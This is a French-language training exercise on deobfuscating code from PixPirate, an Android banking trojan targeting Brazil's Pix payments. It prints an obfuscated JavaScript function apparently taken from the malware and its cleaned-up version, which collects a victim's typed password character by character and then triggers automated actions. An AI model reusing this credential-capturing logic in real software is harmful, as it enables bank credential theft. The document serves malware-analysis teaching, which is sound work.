• Challenge 2 - Cas réel offuscation de code

Obfuscation
L'obscurcissement fait référence au processus de dissimulation de quelque chose d'important, de précieux ou de critique. Les cybercriminels utilisent l'obfuscation pour dissimuler des informations telles que des fichiers à télécharger, des sites à visiter, etc.

1 Points clés

- Entre fin 2022 et début 2023, un nouveau cheval de Troie bancaire Android a été découvert par l'équipe Cleafy TIR. Étant donné le manque d'informations et l'absence d'une nomenclature appropriée de cette famille de logiciels malveillants, nous avons décidé de la baptiser **PixPirate** , afin de mieux suivre cette famille au sein de notre taxonomie interne Threat Intelligence.
- PixPirate appartient à la dernière génération de chevaux de Troie bancaires Android, car il peut exécuter **ATS (Automatic Transfer System)** , permettant aux attaquants d'automatiser l'insertion d'un transfert d'argent malveillant sur la plateforme de paiement instantané **Pix** , adoptée par plusieurs banques brésiliennes.
- PixPirate semble avoir les fonctionnalités suivantes, principalement obtenues en abusant des services d'accessibilité, telles que :
  - Possibilité d'intercepter des informations d'identification bancaires valides et d'effectuer des attaques ATS sur plusieurs banques brésiliennes via des paiements Pix
  - Possibilité d'intercepter/supprimer des messages SMS
  - Empêcher la désinstallation
  - Publicité malveillante

  - **Protection des codes**

- Parmi les principales contre-mesures adoptées par PixPirate pour ralentir l'analyse figurent l'obscurcissement du code et le chiffrement, autres que les fonctionnalités classiques qui tentent d'éviter la suppression de l'application au moment de l'exécution. L'obfuscation, a été implémenté à bon escient, ce qui rend le code assez difficile à analyser directement.
- En fait, avant de procéder à l'analyse, il était nécessaire de supprimer les fonctions parasites et de renommer les variables autrement que de procéder à plusieurs étapes de l'obfuscation.
- À la fin de ce processus, il a été possible d'avoir une compréhension plus claire du code.

Pour cet exercice vous devez :

1.1 Trouver le maximum de renseignement en vous aidant des copies d'écran ci-dessous

- **sur les méthodes employés pour l'attaque**
- **sur le langage utilisé**
- **sur les méthodes d'obfuscation en python**

  - **et bien sur essayer de trouver le moyen de dé-obfuscater le code**
  - **Mais surtout faire une présentation la plus complète possible sur vos recherche**

```
function _0x30c918(_0x4b1f1d, _0x4cdc7d, _0x40c596) {
    const a2_0x25ee2f = {
        _0xe8e799: 0x7c
    };
    const _0x496e9d = _0x57ab30;
    const _0x18a116 = {
        'MaFRP': _0x496e9d(0x7b),
        'TStoB': function(_0x294bed, _0x5e6d2c) {
            const _0x4bf8dc = _0x496e9d;
            return _0x427b7d[_0x4bf8dc(a2_0x25ee2f._0xe8e799)](_0x294bed, _0x5e6d2c);
        },
        'DfFWD': function(_0x44f182, _0x51a8f6) {
            const _0x50e765 = _0x496e9d;
            return _0x427b7d[_0x50e765(0x7d)](_0x44f182, _0x51a8f6);
        },
        'CfTgc': _0x427b7d['ksrrH']
    };
    MLog['r'](_0x4cdc7d, _0x427b7d[_0x496e9d(a2_0x2e0989._0x55a8c5)] + _0x4b1f1d);
    passArr[_0x496e9d(0x30)] = _0x4b1f1d[_0x496e9d(a2_0x2e0989._0x202274)];
    if (_0x4b1f1d[_0x427b7d['NiKMH'](_0x4b1f1d[_0x496e9d(a2_0x2e0989._0x202274)], 0x1)] != '·') {
        passArr[_0x4b1f1d['length'] - 0x1] = _0x4b1f1d[_0x4b1f1d[_0x496e9d(0x30)] - 0x1];
    }
    console[_0x496e9d(0x6e)](_0x496e9d(a2_0x2e0989._0x123b27) + passArr['length']);
    if (_0x427b7d[_0x496e9d(a2_0x2e0989._0x3ac95b)](_0x4cdc7d, '[redacted]')) {
        passOK = '';
        for (var _0x1ac6fc in passArr) {
            passOK += passArr[_0x1ac6fc];
        }
        if (_0x427b7d['hsAGv'](passArr[_0x496e9d(0x30)], 0x6)) {
            _0x2c44aa(_0x4cdc7d);
        }
    } else {
        if (_0x427b7d[_0x496e9d(a2_0x2e0989._0x147bfa)](passArr[_0x496e9d(a2_0x2e0989._0x202274)], 0x4)) {
            passOK = '';
            for (var _0x1ac6fc in passArr) {
                passOK += passArr[_0x1ac6fc];
            }
            if (!_0x1c5ab3) {
                _0x1c5ab3 = !![];
                threads[_0x496e9d(0x82)](() => {
                    const _0x4d86d1 = _0x496e9d;
                    MLog['r'](_0x4cdc7d, _0x18a116['MaFRP']);
                    let _0x217ee5 = _0x40c596[_0x4d86d1(a2_0x3f2934._0x30955e)](0xea60);
                    if (_0x18a116[_0x4d86d1(a2_0x3f2934._0xf16589)](_0x217ee5, null)) {
                        _0x18a116[_0x4d86d1(0x85)](_0x2c44aa, _0x4cdc7d);
                    }
                    _0x1c5ab3 = ![];
                    MLog['r'](_0x4cdc7d, _0x18a116[_0x4d86d1(a2_0x3f2934._0x45b390)]);
                });
            }
        }
    }
}
```

```
function _0x30c918(_0x4b1f1d, _0x4cdc7d, _0x40c596) {
  MLog.r(_0x4cdc7d, 'inPass ' + _0x4b1f1d)
  passArr.length = _0x4b1f1d.length
  if (_0x4b1f1d[_0x4b1f1d.length - 1] != '\u2022') {
    passArr[_0x4b1f1d.length - 1] = _0x4b1f1d[_0x4b1f1d.length - 1]
  }
  console.log('passArr : ' + passArr.length)
  if (_0x4cdc7d == '[redacted]') {
    passOK = ''
    for (var _0x1ac6fc in passArr) {
      passOK += passArr[_0x1ac6fc]
    }
    if (passArr.length == 6) {
      _0x2c44aa(_0x4cdc7d)
    }
  } else {
    if (passArr.length >= 4) {
      passOK = ''
      for (var _0x1ac6fc in passArr) {
        passOK += passArr[_0x1ac6fc]
      }
      if (!_0x1c5ab3) {
        _0x1c5ab3 = true
        threads.start(() => {
          MLog.r(_0x4cdc7d, '--> Star Find Finish btn')
          let _0x217ee5 = _0x40c596.findOne(60000)
          if (_0x217ee5 != null) {
            _0x2c44aa(_0x4cdc7d)
          }
          _0x1c5ab3 = false
          MLog.r(_0x4cdc7d, '--> Over Find Finish btn')
        })
      }
    }
  }
}
```